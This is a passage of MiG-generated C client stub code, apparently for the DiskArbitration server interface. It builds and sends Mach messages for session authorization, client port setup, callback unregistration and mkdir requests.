2385 | InP->NDR = NDR_record;
2386 |
2387 | InP->_authorization = _authorization;
2388 |
2389 | InP->Head.msgh_bits =
2390 | MACH_MSGH_BITS(19, 0);
2391 | /* msgh_size passed as argument */
2392 | InP->Head.msgh_request_port = _session;
2393 | InP->Head.msgh_reply_port = MACH_PORT_NULL;
2394 | InP->Head.msgh_id = 14;
2395 | InP->Head.msgh_reserved = 0;
2396 |
2397 | /* BEGIN VOUCHER CODE */
2398 |
2399 | #ifdef USING_VOUCHERS
2400 | if (voucher_mach_msg_set != NULL) {
2401 | voucher_mach_msg_set(&InP->Head);
2402 | }
2403 | #endif // USING_VOUCHERS
2404 |
2405 | /* END VOUCHER CODE */
2406 |
2407 | __BeforeSendSimple(14, "_DAServerSessionSetAuthorization")
2408 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
2409 | __AfterSendSimple(14, "_DAServerSessionSetAuthorization")
2410 | return msg_result;
2411 | }
2412 |
2413 | /* SimpleRoutine _DAServerSessionSetClientPort */
2414 | mig_external kern_return_t _DAServerSessionSetClientPort
2415 | (
2416 | mach_port_t _session,
2417 | mach_port_t _client
2418 | )
2419 | {
2420 |
2421 | #ifdef __MigPackStructs
2422 | #pragma pack(4)
2423 | #endif
2424 | typedef struct {
2425 | mach_msg_header_t Head;
2426 | /* start of the kernel processed data */
2427 | mach_msg_body_t msgh_body;
2428 | mach_msg_port_descriptor_t _client;
2429 | /* end of the kernel processed data */
2430 | } Request __attribute__((unused));
2431 | #ifdef __MigPackStructs
2432 | #pragma pack()
2433 | #endif
2434 | /*
2435 | * typedef struct {
2436 | * mach_msg_header_t Head;
2437 | * NDR_record_t NDR;
2438 | * kern_return_t RetCode;
2439 | * } mig_reply_error_t;
2440 | */
2441 |
2442 | union {
2443 | Request In;
2444 | } Mess;
2445 |
2446 | Request *InP = &Mess.In;
2447 |
2448 | mach_msg_return_t msg_result;
2449 |
2450 | #ifdef __MIG_check__Reply___DAServerSessionSetClientPort_t__defined
2451 | kern_return_t check_result;
2452 | #endif /* __MIG_check__Reply___DAServerSessionSetClientPort_t__defined */
2453 |
2454 | __DeclareSendSimple(15, "_DAServerSessionSetClientPort")
2455 |
2456 | #if UseStaticTemplates
2457 | const static mach_msg_port_descriptor_t _clientTemplate = {
2458 | /* name = */ MACH_PORT_NULL,
2459 | /* pad1 = */ 0,
2460 | /* pad2 = */ 0,
2461 | /* disp = */ 20,
2462 | /* type = */ MACH_MSG_PORT_DESCRIPTOR,
2463 | };
2464 | #endif /* UseStaticTemplates */
2465 |
2466 | InP->msgh_body.msgh_descriptor_count = 1;
2467 | #if UseStaticTemplates
2468 | InP->_client = _clientTemplate;
2469 | InP->_client.name = _client;
2470 | #else /* UseStaticTemplates */
2471 | InP->_client.name = _client;
2472 | InP->_client.disposition = 20;
2473 | InP->_client.type = MACH_MSG_PORT_DESCRIPTOR;
2474 | #endif /* UseStaticTemplates */
2475 |
2476 | InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX|
2477 | MACH_MSGH_BITS(19, 0);
2478 | /* msgh_size passed as argument */
2479 | InP->Head.msgh_request_port = _session;
2480 | InP->Head.msgh_reply_port = MACH_PORT_NULL;
2481 | InP->Head.msgh_id = 15;
2482 | InP->Head.msgh_reserved = 0;
2483 |
2484 | /* BEGIN VOUCHER CODE */
2485 |
2486 | #ifdef USING_VOUCHERS
2487 | if (voucher_mach_msg_set != NULL) {
2488 | voucher_mach_msg_set(&InP->Head);
2489 | }
2490 | #endif // USING_VOUCHERS
2491 |
2492 | /* END VOUCHER CODE */
2493 |
2494 | __BeforeSendSimple(15, "_DAServerSessionSetClientPort")
2495 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
2496 | __AfterSendSimple(15, "_DAServerSessionSetClientPort")
2497 | return msg_result;
2498 | }
2499 |
2500 | /* SimpleRoutine _DAServerSessionUnregisterCallback */
2501 | mig_external kern_return_t _DAServerSessionUnregisterCallback
2502 | (
2503 | mach_port_t _session,
2504 | mach_vm_offset_t _address,
2505 | mach_vm_offset_t _context
2506 | )
2507 | {
2508 |
2509 | #ifdef __MigPackStructs
2510 | #pragma pack(4)
2511 | #endif
2512 | typedef struct {
2513 | mach_msg_header_t Head;
2514 | NDR_record_t NDR;
2515 | mach_vm_offset_t _address;
2516 | mach_vm_offset_t _context;
2517 | } Request __attribute__((unused));
2518 | #ifdef __MigPackStructs
2519 | #pragma pack()
2520 | #endif
2521 | /*
2522 | * typedef struct {
2523 | * mach_msg_header_t Head;
2524 | * NDR_record_t NDR;
2525 | * kern_return_t RetCode;
2526 | * } mig_reply_error_t;
2527 | */
2528 |
2529 | union {
2530 | Request In;
2531 | } Mess;
2532 |
2533 | Request *InP = &Mess.In;
2534 |
2535 | mach_msg_return_t msg_result;
2536 |
2537 | #ifdef __MIG_check__Reply___DAServerSessionUnregisterCallback_t__defined
2538 | kern_return_t check_result;
2539 | #endif /* __MIG_check__Reply___DAServerSessionUnregisterCallback_t__defined */
2540 |
2541 | __DeclareSendSimple(16, "_DAServerSessionUnregisterCallback")
2542 |
2543 | InP->NDR = NDR_record;
2544 |
2545 | InP->_address = _address;
2546 |
2547 | InP->_context = _context;
2548 |
2549 | InP->Head.msgh_bits =
2550 | MACH_MSGH_BITS(19, 0);
2551 | /* msgh_size passed as argument */
2552 | InP->Head.msgh_request_port = _session;
2553 | InP->Head.msgh_reply_port = MACH_PORT_NULL;
2554 | InP->Head.msgh_id = 16;
2555 | InP->Head.msgh_reserved = 0;
2556 |
2557 | /* BEGIN VOUCHER CODE */
2558 |
2559 | #ifdef USING_VOUCHERS
2560 | if (voucher_mach_msg_set != NULL) {
2561 | voucher_mach_msg_set(&InP->Head);
2562 | }
2563 | #endif // USING_VOUCHERS
2564 |
2565 | /* END VOUCHER CODE */
2566 |
2567 | __BeforeSendSimple(16, "_DAServerSessionUnregisterCallback")
2568 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
2569 | __AfterSendSimple(16, "_DAServerSessionUnregisterCallback")
2570 | return msg_result;
2571 | }
2572 |
2573 | #if ( __MigTypeCheck )
2574 | #if __MIG_check__Reply__DAServer_subsystem__
2575 | #if !defined(__MIG_check__Reply___DAServermkdir_t__defined)
2576 | #define __MIG_check__Reply___DAServermkdir_t__defined
2577 |
2578 | mig_internal kern_return_t __MIG_check__Reply___DAServermkdir_t(__Reply___DAServermkdir_t *Out0P)
2579 | {
2580 |
2581 | typedef __Reply___DAServermkdir_t __Reply __attribute__((unused));
2582 | if (Out0P->Head.msgh_id != 117) {
2583 | if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
2584 | { return MIG_SERVER_DIED; }
2585 | else
2586 | { return MIG_REPLY_MISMATCH; }
2587 | }
2588 |
2589 | #if __MigTypeCheck
2590 | if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||
2591 | (Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply)))
2592 | { return MIG_TYPE_ERROR ; }
2593 | #endif /* __MigTypeCheck */
2594 |
2595 | {
2596 | return Out0P->RetCode;
2597 | }
2598 | }
2599 | #endif /* !defined(__MIG_check__Reply___DAServermkdir_t__defined) */
2600 | #endif /* __MIG_check__Reply__DAServer_subsystem__ */
2601 | #endif /* ( __MigTypeCheck ) */
2602 |
2603 |
2604 | /* Routine _DAServermkdir */
2605 | mig_external kern_return_t _DAServermkdir
2606 | (
2607 | mach_port_t _session,
2608 | ___path_t _path
2609 | )
2610 | {
2611 |
2612 | #ifdef __MigPackStructs
2613 | #pragma pack(4)
2614 | #endif
2615 | typedef struct {
2616 | mach_msg_header_t Head;
2617 | NDR_record_t NDR;
2618 | mach_msg_type_number_t _pathOffset; /* MiG doesn't use it */
2619 | mach_msg_type_number_t _pathCnt;
2620 | char _path[4096];
2621 | } Request __attribute__((unused));
2622 | #ifdef __MigPackStructs
2623 | #pragma pack()
2624 | #endif
2625 |
2626 | #ifdef __MigPackStructs
2627 | #pragma pack(4)
2628 | #endif
2629 | typedef struct {
2630 | mach_msg_header_t Head;
2631 | NDR_record_t NDR;
2632 | kern_return_t RetCode;
2633 | mach_msg_trailer_t trailer;
2634 | } Reply __attribute__((unused));
2635 | #ifdef __MigPackStructs
2636 | #pragma pack()
2637 | #endif
2638 |
2639 | #ifdef __MigPackStructs
2640 | #pragma pack(4)
2641 | #endif
2642 | typedef struct {
2643 | mach_msg_header_t Head;
2644 | NDR_record_t NDR;
2645 | kern_return_t RetCode;
2646 | } __Reply __attribute__((unused));
2647 | #ifdef __MigPackStructs
2648 | #pragma pack()
2649 | #endif
2650 | /*
2651 | * typedef struct {
2652 | * mach_msg_header_t Head;
2653 | * NDR_record_t NDR;
2654 | * kern_return_t RetCode;
2655 | * } mig_reply_error_t;
2656 | */
2657 |
2658 | union {
2659 | Request In;
2660 | Reply Out;
2661 | } Mess;
2662 |
2663 | Request *InP = &Mess.In;
2664 | Reply *Out0P = &Mess.Out;
2665 |
2666 | mach_msg_return_t msg_result;
2667 | unsigned int msgh_size;
2668 |
2669 | #ifdef __MIG_check__Reply___DAServermkdir_t__defined
2670 | kern_return_t check_result;
2671 | #endif /* __MIG_check__Reply___DAServermkdir_t__defined */
2672 |
2673 | __DeclareSendRpc(17, "_DAServermkdir")
2674 |
2675 | InP->NDR = NDR_record;
2676 |
2677 | #ifdef USING_MIG_STRNCPY_ZEROFILL
2678 | if (mig_strncpy_zerofill != NULL) {
2679 | InP->_pathCnt = mig_strncpy_zerofill(InP->_path, _path, 4096);
2680 | } else {
2681 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
2682 | InP->_pathCnt = mig_strncpy(InP->_path, _path, 4096);
2683 | #ifdef USING_MIG_STRNCPY_ZEROFILL
2684 | }
2685 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
2686 |
2687 | msgh_size = (mach_msg_size_t)(sizeof(Request) - 4096) + (_WALIGN_(InP->_pathCnt));
2688 | InP->Head.msgh_bits =
2689 | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
2690 | /* msgh_size passed as argument */
2691 | InP->Head.msgh_request_port = _session;
2692 | InP->Head.msgh_reply_port = mig_get_reply_port();
2693 | InP->Head.msgh_id = 17;
2694 | InP->Head.msgh_reserved = 0;
2695 |
2696 | /* BEGIN VOUCHER CODE */
2697 |
2698 | #ifdef USING_VOUCHERS
2699 | if (voucher_mach_msg_set != NULL) {
2700 | voucher_mach_msg_set(&InP->Head);
2701 | }
2702 | #endif // USING_VOUCHERS
2703 |
2704 | /* END VOUCHER CODE */
2705 |
2706 | __BeforeSendRpc(17, "_DAServermkdir")
2707 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
2708 | __AfterSendRpc(17, "_DAServermkdir")
2709 | if (msg_result != MACH_MSG_SUCCESS) {
2710 | __MachMsgErrorWithoutTimeout(msg_result);
2711 | { return msg_result; }
2712 | }
2713 |
2714 |
2715 | #if defined(__MIG_check__Reply___DAServermkdir_t__defined)
2716 | check_result = __MIG_check__Reply___DAServermkdir_t((__Reply___DAServermkdir_t *)Out0P);
2717 | if (check_result != MACH_MSG_SUCCESS)
2718 | { return check_result; }
2719 | #endif /* defined(__MIG_check__Reply___DAServermkdir_t__defined) */
2720 |
2721 | return KERN_SUCCESS;
2722 | }
2723 |
--------------------------------------------------------------------------------